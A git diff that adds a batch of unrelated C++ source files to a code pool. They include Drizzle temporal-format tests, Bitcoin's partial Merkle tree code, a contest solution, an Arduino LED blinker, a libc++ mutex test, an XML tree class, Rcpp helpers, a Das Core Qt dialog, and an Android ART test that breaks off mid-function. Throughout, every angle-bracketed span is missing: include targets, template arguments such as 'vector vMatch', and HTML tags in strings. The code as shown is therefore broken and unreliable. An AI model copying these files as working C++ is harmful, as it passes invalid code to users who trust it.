+BOOST_AUTO_TEST_CASE(matches_FormatWithMicroSecondIndexSet_shouldAddTrailingZeros) +{ + tf= TemporalGenerator::TemporalFormatGen::make_temporal_format("^(\\d{1,6})$", 0, 0, 0, 0, 0, 0, 1, 0); + char matched[]= "560"; + temporal= new Time(); + + tf->matches(matched, sizeof(matched) - sizeof(char), temporal); + + BOOST_REQUIRE_EQUAL(560000, temporal->useconds()); +} + +BOOST_AUTO_TEST_CASE(matches_FormatWithNanoSecondIndexSet_shouldAddTrailingZeros) +{ + tf= TemporalGenerator::TemporalFormatGen::make_temporal_format("^(\\d{1,9})$", 0, 0, 0, 0, 0, 0, 0, 1); + char matched[]= "4321"; + temporal= new Time(); + + tf->matches(matched, sizeof(matched) - sizeof(char), temporal); + + BOOST_REQUIRE_EQUAL(432100000, temporal->nseconds()); +} +BOOST_AUTO_TEST_SUITE_END() + +namespace drizzled +{ +extern std::vector known_datetime_formats; +extern std::vector known_date_formats; +extern std::vector known_time_formats; +extern std::vector all_temporal_formats; +} + +BOOST_AUTO_TEST_SUITE(TemporalFormatTestSuite) +BOOST_AUTO_TEST_CASE(init_temporal_formats_vectorsWithKnownFormats_shouldHaveExpectedLengths) +{ + init_temporal_formats(); + + BOOST_REQUIRE_EQUAL(13, known_datetime_formats.size()); + BOOST_REQUIRE_EQUAL(8, known_date_formats.size()); + BOOST_REQUIRE_EQUAL(11, known_time_formats.size()); + BOOST_REQUIRE_EQUAL(19, all_temporal_formats.size()); +} + +BOOST_AUTO_TEST_CASE(deinit_temporal_formats_vectorsWithKnownFormats_shouldHaveZeroLengths) +{ + init_temporal_formats(); + deinit_temporal_formats(); + + BOOST_REQUIRE_EQUAL(0, known_datetime_formats.size()); + BOOST_REQUIRE_EQUAL(0, known_date_formats.size()); + BOOST_REQUIRE_EQUAL(0, known_time_formats.size()); + BOOST_REQUIRE_EQUAL(0, all_temporal_formats.size()); +} +BOOST_AUTO_TEST_SUITE_END() diff --git a/pool/shard011/C++/0118457_merkleblock.cpp b/pool/shard011/C++/0118457_merkleblock.cpp new file mode 100644 index 0000000000000000000000000000000000000000..1b7ee27e02ae7a27a937ba287567ed99f0328e1c --- /dev/null +++ b/pool/shard011/C++/0118457_merkleblock.cpp @@ -0,0 +1,152 @@ +// Copyright (c) 2009-2010 Satoshi Nakamoto +// Copyright (c) 2009-2014 The Bitcoin Core developers +// Distributed under the MIT software license, see the accompanying +// file COPYING or http://www.opensource.org/licenses/mit-license.php. + +#include "merkleblock.h" + +#include "hash.h" +#include "primitives/block.h" // for MAX_BLOCK_SIZE +#include "utilstrencodings.h" + +using namespace std; + +CMerkleBlock::CMerkleBlock(const CBlock& block, CBloomFilter& filter) +{ + header = block.GetBlockHeader(); + + vector vMatch; + vector vHashes; + + vMatch.reserve(block.vtx.size()); + vHashes.reserve(block.vtx.size()); + + for (unsigned int i = 0; i < block.vtx.size(); i++) + { + const uint256& hash = block.vtx[i].GetHash(); + if (filter.IsRelevantAndUpdate(block.vtx[i])) + { + vMatch.push_back(true); + vMatchedTxn.push_back(make_pair(i, hash)); + } + else + vMatch.push_back(false); + vHashes.push_back(hash); + } + + txn = CPartialMerkleTree(vHashes, vMatch); +} + +uint256 CPartialMerkleTree::CalcHash(int height, unsigned int pos, const std::vector &vTxid) { + if (height == 0) { + // hash at height 0 is the txids themself + return vTxid[pos]; + } else { + // calculate left hash + uint256 left = CalcHash(height-1, pos*2, vTxid), right; + // calculate right hash if not beyond the end of the array - copy left hash otherwise1 + if (pos*2+1 < CalcTreeWidth(height-1)) + right = CalcHash(height-1, pos*2+1, vTxid); + else + right = left; + // combine subhashes + return Hash(BEGIN(left), END(left), BEGIN(right), END(right)); + } +} + +void CPartialMerkleTree::TraverseAndBuild(int height, unsigned int pos, const std::vector &vTxid, const std::vector &vMatch) { + // determine whether this node is the parent of at least one matched txid + bool fParentOfMatch = false; + for (unsigned int p = pos << height; p < (pos+1) << height && p < nTransactions; p++) + fParentOfMatch |= vMatch[p]; + // store as flag bit + vBits.push_back(fParentOfMatch); + if (height==0 || !fParentOfMatch) { + // if at height 0, or nothing interesting below, store hash and stop + vHash.push_back(CalcHash(height, pos, vTxid)); + } else { + // otherwise, don't store any hash, but descend into the subtrees + TraverseAndBuild(height-1, pos*2, vTxid, vMatch); + if (pos*2+1 < CalcTreeWidth(height-1)) + TraverseAndBuild(height-1, pos*2+1, vTxid, vMatch); + } +} + +uint256 CPartialMerkleTree::TraverseAndExtract(int height, unsigned int pos, unsigned int &nBitsUsed, unsigned int &nHashUsed, std::vector &vMatch) { + if (nBitsUsed >= vBits.size()) { + // overflowed the bits array - failure + fBad = true; + return 0; + } + bool fParentOfMatch = vBits[nBitsUsed++]; + if (height==0 || !fParentOfMatch) { + // if at height 0, or nothing interesting below, use stored hash and do not descend + if (nHashUsed >= vHash.size()) { + // overflowed the hash array - failure + fBad = true; + return 0; + } + const uint256 &hash = vHash[nHashUsed++]; + if (height==0 && fParentOfMatch) // in case of height 0, we have a matched txid + vMatch.push_back(hash); + return hash; + } else { + // otherwise, descend into the subtrees to extract matched txids and hashes + uint256 left = TraverseAndExtract(height-1, pos*2, nBitsUsed, nHashUsed, vMatch), right; + if (pos*2+1 < CalcTreeWidth(height-1)) + right = TraverseAndExtract(height-1, pos*2+1, nBitsUsed, nHashUsed, vMatch); + else + right = left; + // and combine them before returning + return Hash(BEGIN(left), END(left), BEGIN(right), END(right)); + } +} + +CPartialMerkleTree::CPartialMerkleTree(const std::vector &vTxid, const std::vector &vMatch) : nTransactions(vTxid.size()), fBad(false) { + // reset state + vBits.clear(); + vHash.clear(); + + // calculate height of tree + int nHeight = 0; + while (CalcTreeWidth(nHeight) > 1) + nHeight++; + + // traverse the partial tree + TraverseAndBuild(nHeight, 0, vTxid, vMatch); +} + +CPartialMerkleTree::CPartialMerkleTree() : nTransactions(0), fBad(true) {} + +uint256 CPartialMerkleTree::ExtractMatches(std::vector &vMatch) { + vMatch.clear(); + // An empty set will not work + if (nTransactions == 0) + return 0; + // check for excessively high numbers of transactions + if (nTransactions > MAX_BLOCK_SIZE / 60) // 60 is the lower bound for the size of a serialized CTransaction + return 0; + // there can never be more hashes provided than one for every txid + if (vHash.size() > nTransactions) + return 0; + // there must be at least one bit per node in the partial tree, and at least one node per hash + if (vBits.size() < vHash.size()) + return 0; + // calculate height of tree + int nHeight = 0; + while (CalcTreeWidth(nHeight) > 1) + nHeight++; + // traverse the partial tree + unsigned int nBitsUsed = 0, nHashUsed = 0; + uint256 hashMerkleRoot = TraverseAndExtract(nHeight, 0, nBitsUsed, nHashUsed, vMatch); + // verify that no problems occured during the tree traversal + if (fBad) + return 0; + // verify that all bits were consumed (except for the padding caused by serializing it as a byte sequence) + if ((nBitsUsed+7)/8 != (vBits.size()+7)/8) + return 0; + // verify that all hashes were consumed + if (nHashUsed != vHash.size()) + return 0; + return hashMerkleRoot; +} diff --git a/pool/shard011/C++/0118458_slate_modern.cpp b/pool/shard011/C++/0118458_slate_modern.cpp new file mode 100644 index 0000000000000000000000000000000000000000..9700498f6194421a7b48f999101d838b33f028c1 --- /dev/null +++ b/pool/shard011/C++/0118458_slate_modern.cpp @@ -0,0 +1,61 @@ +#include +using namespace std; +typedef long long int ll; +typedef pair pii; +typedef pair pll; + +const ll mod = 1e9 + 7; + +struct solver { + int r, c; + int n; + ll d; + + vector pos; + vector values; + + ll work() { + cin >> r >> c >> n >> d; + pos.resize(n); + values.resize(n); + for (int i = 0; i < n; i++) { + cin >> pos[i].first >> pos[i].second >> values[i]; + pos[i].first--; pos[i].second--; + } + + ll ans = 0; + for (int q = 0; q < r; q++) { + for (int z = 0; z < c; z++) { + ll a = LLONG_MIN, b = LLONG_MAX; + for (int i = 0; i < n; i++) { + ll dist = abs(pos[i].first - q) + abs(pos[i].second - z); + a = max(a, values[i] - dist * d); + b = min(b, values[i] + dist * d); + if (a > b) + return -1; + } + ans += b; + ans %= mod; + } + } + + return ans; + } + + void solve() { + ll w = work(); + if (w == -1) + cout << "IMPOSSIBLE" << endl; + else + cout << w << endl; + } +} s; + +int main() { + int t; + cin >> t; + for (int i = 0; i < t; i++) { + cout << "Case #" << i + 1 << ": "; + s.solve(); + } +} \ No newline at end of file diff --git a/pool/shard011/C++/0118459_BlinkSignal.cpp b/pool/shard011/C++/0118459_BlinkSignal.cpp new file mode 100644 index 0000000000000000000000000000000000000000..06b3b7a98ffd98280053b4ad28ec658c27295109 --- /dev/null +++ b/pool/shard011/C++/0118459_BlinkSignal.cpp @@ -0,0 +1,43 @@ +#include "BlinkSignal.h" + +BlinkSignal::BlinkSignal(uint8_t pin, unsigned long pulseWidth) { + this->pin = pin; + this->offPulseWidth = pulseWidth; + this->onPulseWidth = pulseWidth; + pinMode(pin, OUTPUT); +} + +void BlinkSignal::invertOutput(bool invert) { + this->invert = invert; +} + +void BlinkSignal::setOffPulseWidth(unsigned long pulseWidth) { + this->offPulseWidth = pulseWidth; +} + +void BlinkSignal::setOnPulseCount(uint8_t count) { + this->highPulseCount = count * 2 - 1; + this->onPulseWidth = offPulseWidth / highPulseCount ; + this->countDown = this->highPulseCount; +} + + +void BlinkSignal::update(unsigned long millis) { + if (millis >= nextMillis) { + if (countDown > 0) { + countDown--; + nextMillis = millis + onPulseWidth; + } else { + countDown = highPulseCount; + nextMillis = millis + offPulseWidth; + } + currentState = currentState == HIGH ? LOW : HIGH; + illuminate(); + } +} + +void BlinkSignal::illuminate() { + // invert, since LED cathode is connected to GPIO pin + uint8_t value = invert ? (currentState == HIGH ? LOW : HIGH): currentState; + digitalWrite(pin, value); +} diff --git a/pool/shard011/C++/0118460_try_lock_shared.pass.cpp b/pool/shard011/C++/0118460_try_lock_shared.pass.cpp new file mode 100644 index 0000000000000000000000000000000000000000..830445af9a01d0f26f726bcee759b835c0b72a6a --- /dev/null +++ b/pool/shard011/C++/0118460_try_lock_shared.pass.cpp @@ -0,0 +1,69 @@ +//===----------------------------------------------------------------------===// +// +// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. +// See https://llvm.org/LICENSE.txt for license information. +// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception +// +//===----------------------------------------------------------------------===// +// +// UNSUPPORTED: libcpp-has-no-threads +// UNSUPPORTED: c++98, c++03, c++11 + +// FLAKY_TEST. + +// + +// class shared_timed_mutex; + +// bool try_lock_shared(); + +#include +#include +#include +#include +#include + +#include "test_macros.h" + +std::shared_timed_mutex m; + +typedef std::chrono::system_clock Clock; +typedef Clock::time_point time_point; +typedef Clock::duration duration; +typedef std::chrono::milliseconds ms; +typedef std::chrono::nanoseconds ns; + + +#if !defined(TEST_HAS_SANITIZERS) +ms Tolerance = ms(200); +#else +ms Tolerance = ms(200 * 5); +#endif + +void f() +{ + time_point t0 = Clock::now(); + assert(!m.try_lock_shared()); + assert(!m.try_lock_shared()); + assert(!m.try_lock_shared()); + while(!m.try_lock_shared()) + ; + time_point t1 = Clock::now(); + m.unlock_shared(); + ns d = t1 - t0 - ms(250); + assert(d < Tolerance); // within tolerance +} + +int main(int, char**) +{ + m.lock(); + std::vector v; + for (int i = 0; i < 5; ++i) + v.push_back(std::thread(f)); + std::this_thread::sleep_for(ms(250)); + m.unlock(); + for (auto& t : v) + t.join(); + + return 0; +} diff --git a/pool/shard011/C++/0118462_document.cpp b/pool/shard011/C++/0118462_document.cpp new file mode 100644 index 0000000000000000000000000000000000000000..2679ff43020369931bd09ed7af18375d1146f7cb --- /dev/null +++ b/pool/shard011/C++/0118462_document.cpp @@ -0,0 +1,97 @@ +#pragma warning(disable: 4786) +#include +#include "document.h" + +std::set g_tagSetSupportingCDATA; + +/////////////////////////////////////////////////////////////////////////////// + +TreeDocument::TreeDocument() + : mpRoot(NULL) +{ +} + +TreeNode *TreeDocument::AllocNode() { + mNodeHeap.push_back(TreeNode()); + TreeNode *t = &mNodeHeap.back(); + + t->mpDocument = this; + + return t; +} + +/////////////////////////////////////////////////////////////////////////////// + +TreeNode *TreeNode::ShallowClone() { + TreeNode *newNode = mpDocument->AllocNode(); + + newNode->mpLocation = mpLocation; + newNode->mLineno = mLineno; + newNode->mName = mName; + newNode->mAttribs = mAttribs; + newNode->mbIsText = mbIsText; + newNode->mbIsControl = mbIsControl; + + return newNode; +} + +const TreeAttribute *TreeNode::Attrib(const std::string& s) const { + Attributes::const_iterator it(mAttribs.begin()), itEnd(mAttribs.end()); + + for(; it!=itEnd; ++it) { + if ((*it).mName == s) + return &*it; + } + + return NULL; +} + +const TreeNode *TreeNode::ResolvePath(const std::string& path, std::string& name) const { + std::string::size_type p = path.find('/'); + + if (!p) { + return mpDocument->mpRoot->ResolvePath(path.substr(1), name); + } else if (p != std::string::npos) { + const TreeNode *t = Child(path.substr(0, p)); + + if (!t) + return NULL; + + return t->ResolvePath(path.substr(p+1), name); + } else { + name = path; + return this; + } +} + +const TreeNode *TreeNode::Child(const std::string& s) const { + std::string name; + const TreeNode *parent = ResolvePath(s, name); + + Children::const_iterator it(mChildren.begin()), itEnd(mChildren.end()); + + for(; it!=itEnd; ++it) { + TreeNode *child = *it; + if (!child->mbIsText) { + if (child->mName == "lina:data") { + const TreeNode *t = child->Child(name); + if (t) + return t; + } + if (child->mName == name) + return *it; + } + } + return NULL; +} + +bool TreeNode::SupportsCDATA() const { + return g_tagSetSupportingCDATA.find(mName) != g_tagSetSupportingCDATA.end(); +} + +void TreeNode::SetSupportsCDATA(const std::string& tagname, bool supports_cdata) { + if (supports_cdata) + g_tagSetSupportingCDATA.insert(tagname); + else + g_tagSetSupportingCDATA.erase(tagname); +} diff --git a/pool/shard011/C++/0118463_extract_intertimes.cpp b/pool/shard011/C++/0118463_extract_intertimes.cpp new file mode 100644 index 0000000000000000000000000000000000000000..d6faa89ead3700050057f8dc63fcea0dd9597495 --- /dev/null +++ b/pool/shard011/C++/0118463_extract_intertimes.cpp @@ -0,0 +1,69 @@ +#include +using namespace Rcpp; + +// Generate intertimes +// [[Rcpp::export]] +std::vector < int > extract_intertimes(std::vector < int > sessions){ + + //Declare output, iterator + std::vector < int > output; + std::vector < int > out_holding; + + int in_size = sessions.size(); + if(in_size >= 2){ + std::sort(sessions.begin(),sessions.end()); + for(int i = 1; i < in_size; i++){ + output.push_back(sessions[i] - sessions[i-1]); + } + } + + return output; +} + +//Extract all-but-last +// [[Rcpp::export]] +std::vector < int > all_but_last(std::list < std::vector < int > > sessions){ + + //Declare output, iterator + std::list < std::vector < int > >::const_iterator iterator; + std::vector < int > in_holding; + std::vector < int > output; + + //For each list entry, extract all-but-the-last intertime - excepting one-intertime sessions. + //Always include those. + for (iterator = sessions.begin(); iterator != sessions.end(); ++iterator){ + in_holding = *iterator; + int in_size = in_holding.size(); + + if(in_size >= 2){ + for(int i = 1; i < in_size-1; i++){ + output.push_back(in_holding[i]); + } + } else { + output.push_back(in_holding[0]); + } + } + + return output; +} + +//Extract last-only +// [[Rcpp::export]] +std::vector < int > last_only(std::list < std::vector < int > > sessions){ + + //Declare output, iterator + std::list < std::vector < int > >::const_iterator iterator; + std::vector < int > in_holding; + std::vector < int > output; + + //For each list entry, extract the last value. Ignore if it has <2 intertimes. + for (iterator = sessions.begin(); iterator != sessions.end(); ++iterator){ + in_holding = *iterator; + int in_size = in_holding.size(); + if(in_size >= 2){ + output.push_back(in_holding[in_size-1]); + } + } + + return output; +} \ No newline at end of file diff --git a/pool/shard011/C++/0118464_utilitydialog.cpp b/pool/shard011/C++/0118464_utilitydialog.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e9f1f5ce5a6b08c1791a4a42e8fdd49567d19d11 --- /dev/null +++ b/pool/shard011/C++/0118464_utilitydialog.cpp @@ -0,0 +1,197 @@ +// Copyright (c) 2011-2015 The Bitcoin Core developers +// Copyright (c) 2014-2016 The Das Core developers +// Distributed under the MIT software license, see the accompanying +// file COPYING or http://www.opensource.org/licenses/mit-license.php. + +#include "utilitydialog.h" + +#include "ui_helpmessagedialog.h" + +#include "bitcoingui.h" +#include "clientmodel.h" +#include "guiconstants.h" +#include "intro.h" +#include "paymentrequestplus.h" +#include "guiutil.h" + +#include "clientversion.h" +#include "init.h" +#include "util.h" + +#include + +#include +#include +#include +#include +#include +#include + +/** "Help message" or "About" dialog box */ +HelpMessageDialog::HelpMessageDialog(QWidget *parent, bool about) : + QDialog(parent), + ui(new Ui::HelpMessageDialog) +{ + ui->setupUi(this); + + QString version = tr("Das Core") + " " + tr("version") + " " + QString::fromStdString(FormatFullVersion()); + /* On x86 add a bit specifier to the version so that users can distinguish between + * 32 and 64 bit builds. On other architectures, 32/64 bit may be more ambigious. + */ +#if defined(__x86_64__) + version += " " + tr("(%1-bit)").arg(64); +#elif defined(__i386__ ) + version += " " + tr("(%1-bit)").arg(32); +#endif + + if (about) + { + setWindowTitle(tr("About Das Core")); + + /// HTML-format the license message from the core + QString licenseInfo = QString::fromStdString(LicenseInfo()); + QString licenseInfoHTML = licenseInfo; + + // Make URLs clickable + QRegExp uri("<(.*)>", Qt::CaseSensitive, QRegExp::RegExp2); + uri.setMinimal(true); // use non-greedy matching + licenseInfoHTML.replace(uri, "\\1"); + // Replace newlines with HTML breaks + licenseInfoHTML.replace("\n\n", "

"); + + ui->aboutMessage->setTextFormat(Qt::RichText); + ui->scrollArea->setVerticalScrollBarPolicy(Qt::ScrollBarAsNeeded); + text = version + "\n" + licenseInfo; + ui->aboutMessage->setText(version + "

" + licenseInfoHTML); + ui->aboutMessage->setWordWrap(true); + ui->helpMessage->setVisible(false); + } else { + setWindowTitle(tr("Command-line options")); + QString header = tr("Usage:") + "\n" + + " das-qt [" + tr("command-line options") + "] " + "\n"; + QTextCursor cursor(ui->helpMessage->document()); + cursor.insertText(version); + cursor.insertBlock(); + cursor.insertText(header); + cursor.insertBlock(); + + std::string strUsage = HelpMessage(HMM_BITCOIN_QT); + const bool showDebug = GetBoolArg("-help-debug", false); + strUsage += HelpMessageGroup(tr("UI Options:").toStdString()); + if (showDebug) { + strUsage += HelpMessageOpt("-allowselfsignedrootcertificates", strprintf("Allow self signed root certificates (default: %u)", DEFAULT_SELFSIGNED_ROOTCERTS)); + } + strUsage += HelpMessageOpt("-choosedatadir", strprintf(tr("Choose data directory on startup (default: %u)").toStdString(), DEFAULT_CHOOSE_DATADIR)); + strUsage += HelpMessageOpt("-lang=", tr("Set language, for example \"de_DE\" (default: system locale)").toStdString()); + strUsage += HelpMessageOpt("-min", tr("Start minimized").toStdString()); + strUsage += HelpMessageOpt("-rootcertificates=", tr("Set SSL root certificates for payment request (default: -system-)").toStdString()); + strUsage += HelpMessageOpt("-splash", strprintf(tr("Show splash screen on startup (default: %u)").toStdString(), DEFAULT_SPLASHSCREEN)); + strUsage += HelpMessageOpt("-resetguisettings", tr("Reset all settings changes made over the GUI").toStdString()); + if (showDebug) { + strUsage += HelpMessageOpt("-uiplatform", strprintf("Select platform to customize UI for (one of windows, macosx, other; default: %s)", BitcoinGUI::DEFAULT_UIPLATFORM)); + } + QString coreOptions = QString::fromStdString(strUsage); + text = version + "\n" + header + "\n" + coreOptions; + + QTextTableFormat tf; + tf.setBorderStyle(QTextFrameFormat::BorderStyle_None); + tf.setCellPadding(2); + QVector widths; + widths << QTextLength(QTextLength::PercentageLength, 35); + widths << QTextLength(QTextLength::PercentageLength, 65); + tf.setColumnWidthConstraints(widths); + + QTextCharFormat bold; + bold.setFontWeight(QFont::Bold); + + Q_FOREACH (const QString &line, coreOptions.split("\n")) { + if (line.startsWith(" -")) + { + cursor.currentTable()->appendRows(1); + cursor.movePosition(QTextCursor::PreviousCell); + cursor.movePosition(QTextCursor::NextRow); + cursor.insertText(line.trimmed()); + cursor.movePosition(QTextCursor::NextCell); + } else if (line.startsWith(" ")) { + cursor.insertText(line.trimmed()+' '); + } else if (line.size() > 0) { + //Title of a group + if (cursor.currentTable()) + cursor.currentTable()->appendRows(1); + cursor.movePosition(QTextCursor::Down); + cursor.insertText(line.trimmed(), bold); + cursor.insertTable(1, 2, tf); + } + } + + ui->helpMessage->moveCursor(QTextCursor::Start); + ui->scrollArea->setVisible(false); + ui->aboutLogo->setVisible(false); + } + // Theme dependent Gfx in About popup + QString helpMessageGfx = ":/images/" + GUIUtil::getThemeName() + "/about"; + QPixmap pixmap = QPixmap(helpMessageGfx); + ui->aboutLogo->setPixmap(pixmap); +} + +HelpMessageDialog::~HelpMessageDialog() +{ + delete ui; +} + +void HelpMessageDialog::printToConsole() +{ + // On other operating systems, the expected action is to print the message to the console. + fprintf(stdout, "%s\n", qPrintable(text)); +} + +void HelpMessageDialog::showOrPrint() +{ +#if defined(WIN32) + // On Windows, show a message box, as there is no stderr/stdout in windowed applications + exec(); +#else + // On other operating systems, print help text to console + printToConsole(); +#endif +} + +void HelpMessageDialog::on_okButton_accepted() +{ + close(); +} + + +/** "Shutdown" window */ +ShutdownWindow::ShutdownWindow(QWidget *parent, Qt::WindowFlags f): + QWidget(parent, f) +{ + QVBoxLayout *layout = new QVBoxLayout(); + layout->addWidget(new QLabel( + tr("Das Core is shutting down...") + "

" + + tr("Do not shut down the computer until this window disappears."))); + setLayout(layout); +} + +void ShutdownWindow::showShutdownWindow(BitcoinGUI *window) +{ + if (!window) + return; + + // Show a simple window indicating shutdown status + QWidget *shutdownWindow = new ShutdownWindow(); + // We don't hold a direct pointer to the shutdown window after creation, so use + // Qt::WA_DeleteOnClose to make sure that the window will be deleted eventually. + shutdownWindow->setAttribute(Qt::WA_DeleteOnClose); + shutdownWindow->setWindowTitle(window->windowTitle()); + + // Center shutdown window at where main window was + const QPoint global = window->mapToGlobal(window->rect().center()); + shutdownWindow->move(global.x() - shutdownWindow->width() / 2, global.y() - shutdownWindow->height() / 2); + shutdownWindow->show(); +} + +void ShutdownWindow::closeEvent(QCloseEvent *event) +{ + event->ignore(); +} diff --git a/pool/shard011/C++/0118465_arch_test.cc b/pool/shard011/C++/0118465_arch_test.cc new file mode 100644 index 0000000000000000000000000000000000000000..ee31c589795d6470e7ca7bd07a60131e721fdd73 --- /dev/null +++ b/pool/shard011/C++/0118465_arch_test.cc @@ -0,0 +1,166 @@ +/* + * Copyright (C) 2014 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "art_method-inl.h" +#include "common_runtime_test.h" +#include "quick/quick_method_frame_info.h" +// Common tests are declared next to the constants. +#define ADD_TEST_EQ(x, y) EXPECT_EQ(x, y); +#include "asm_support.h" + +namespace art { + +class ArchTest : public CommonRuntimeTest { + protected: + void SetUpRuntimeOptions(RuntimeOptions *options) OVERRIDE { + // Use 64-bit ISA for runtime setup to make method size potentially larger + // than necessary (rather than smaller) during CreateCalleeSaveMethod + options->push_back(std::make_pair("imageinstructionset", "x86_64")); + } + + // Do not do any of the finalization. We don't want to run any code, we don't need the heap + // prepared, it actually will be a problem with setting the instruction set to x86_64 in + // SetUpRuntimeOptions. + void FinalizeSetup() OVERRIDE { + ASSERT_EQ(InstructionSet::kX86_64, Runtime::Current()->GetInstructionSet()); + } + + static void CheckFrameSize(InstructionSet isa, Runtime::CalleeSaveType type, uint32_t save_size) + NO_THREAD_SAFETY_ANALYSIS { + Runtime* const runtime = Runtime::Current(); + Thread* const self = Thread::Current(); + ScopedObjectAccess soa(self); // So we can create callee-save methods. + + runtime->SetInstructionSet(isa); + ArtMethod* save_method = runtime->CreateCalleeSaveMethod(); + runtime->SetCalleeSaveMethod(save_method, type); + QuickMethodFrameInfo frame_info = runtime->GetRuntimeMethodFrameInfo(save_method); + EXPECT_EQ(frame_info.FrameSizeInBytes(), save_size) << "Expected and real size differs for " + << type << " core spills=" << std::hex << frame_info.CoreSpillMask() << " fp spills=" + << frame_info.FpSpillMask() << std::dec; + } +}; + +TEST_F(ArchTest, CheckCommonOffsetsAndSizes) { + CheckAsmSupportOffsetsAndSizes(); +} + +// Grab architecture specific constants. +namespace arm { +#include "arch/arm/asm_support_arm.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +namespace arm64 { +#include "arch/arm64/asm_support_arm64.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +namespace mips { +#include "arch/mips/asm_support_mips.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +namespace mips64 { +#include "arch/mips64/asm_support_mips64.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +namespace x86 { +#include "arch/x86/asm_support_x86.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +namespace x86_64 { +#include "arch/x86_64/asm_support_x86_64.h" +static constexpr size_t kFrameSizeSaveAllCalleeSave = FRAME_SIZE_SAVE_ALL_CALLEE_SAVE; +#undef FRAME_SIZE_SAVE_ALL_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsOnlyCalleeSave = FRAME_SIZE_REFS_ONLY_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_ONLY_CALLEE_SAVE +static constexpr size_t kFrameSizeRefsAndArgsCalleeSave = FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE; +#undef FRAME_SIZE_REFS_AND_ARGS_CALLEE_SAVE +} + +// Check architecture specific constants are sound. +TEST_F(ArchTest, ARM) { + CheckFrameSize(InstructionSet::kArm, Runtime::kSaveAll, arm::kFrameSizeSaveAllCalleeSave); + CheckFrameSize(InstructionSet::kArm, Runtime::kRefsOnly, arm::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kArm, Runtime::kRefsAndArgs, arm::kFrameSizeRefsAndArgsCalleeSave); +} + + +TEST_F(ArchTest, ARM64) { + CheckFrameSize(InstructionSet::kArm64, Runtime::kSaveAll, arm64::kFrameSizeSaveAllCalleeSave); + CheckFrameSize(InstructionSet::kArm64, Runtime::kRefsOnly, arm64::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kArm64, Runtime::kRefsAndArgs, + arm64::kFrameSizeRefsAndArgsCalleeSave); +} + +TEST_F(ArchTest, MIPS) { + CheckFrameSize(InstructionSet::kMips, Runtime::kSaveAll, mips::kFrameSizeSaveAllCalleeSave); + CheckFrameSize(InstructionSet::kMips, Runtime::kRefsOnly, mips::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kMips, Runtime::kRefsAndArgs, + mips::kFrameSizeRefsAndArgsCalleeSave); +} + +TEST_F(ArchTest, MIPS64) { + CheckFrameSize(InstructionSet::kMips64, Runtime::kSaveAll, mips64::kFrameSizeSaveAllCalleeSave); + CheckFrameSize(InstructionSet::kMips64, Runtime::kRefsOnly, mips64::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kMips64, Runtime::kRefsAndArgs, + mips64::kFrameSizeRefsAndArgsCalleeSave); +} + +TEST_F(ArchTest, X86) { + CheckFrameSize(InstructionSet::kX86, Runtime::kSaveAll, x86::kFrameSizeSaveAllCalleeSave); + 